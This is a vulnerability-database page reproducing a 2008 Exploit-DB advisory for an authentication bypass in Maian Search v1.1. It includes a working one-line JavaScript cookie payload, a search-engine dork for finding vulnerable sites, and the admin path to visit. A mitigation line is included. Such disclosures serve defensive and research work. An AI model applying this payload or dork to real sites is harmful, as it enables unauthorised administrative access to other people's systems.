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vendor:

Maian Search

by:

S.W.A.T.

7.5

CVSS

HIGH

Insecure Cookie Handling

613

CWE

Product Name: Maian Search

Affected Version From: v1.1

Affected Version To: v1.1

Patch Exists: NO

Related CWE: N/A

CPE: a:maian_script_world:maian_search

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

Maian Search <= v1.1 Insecure Cookie Handling Vulnerability

Maian Search suffers from a insecure cookie, the admin panel only checks if the cookie exists and not the content. So, an attacker can craft a cookie and look like a admin.

Mitigation:

Ensure that the cookie content is validated before allowing access to the admin panel.

Source

Exploit-DB raw data:

-[*]+================================================================================+[*]-
-[*]+          Maian Search <= v1.1 Insecure Cookie Handling Vulnerability           +[*]-
-[*]+================================================================================+[*]-



[*] Discovered By: S.W.A.T.
[*] E-Mail: svvateam[at]yahoo[dot]com
[*] Script Download: http://www.maianscriptworld.co.uk
[*] DORK: Powered by: Maian Search v1.1



[*] Vendor Has Not Been Notified!



[*] DESCRIPTION:

   Maian Search suffers from a insecure cookie, the admin panel only checks if the cookie

exists.
    and not the content. so we can easyily craft a cookie and look like a admin.



[*] Vulnerability:

    javascript:document.cookie = "search_cookie=1; path=/";


[*] NOTE/TIP:

    after running the javascript, visit "/admin/index.php" to view admin area.



-[*]+================================================================================+[*]-
-[*]+          Maian Search <= v1.1 Insecure Cookie Handling Vulnerability           +[*]-
-[*]+================================================================================+[*]-

# milw0rm.com [2008-07-13]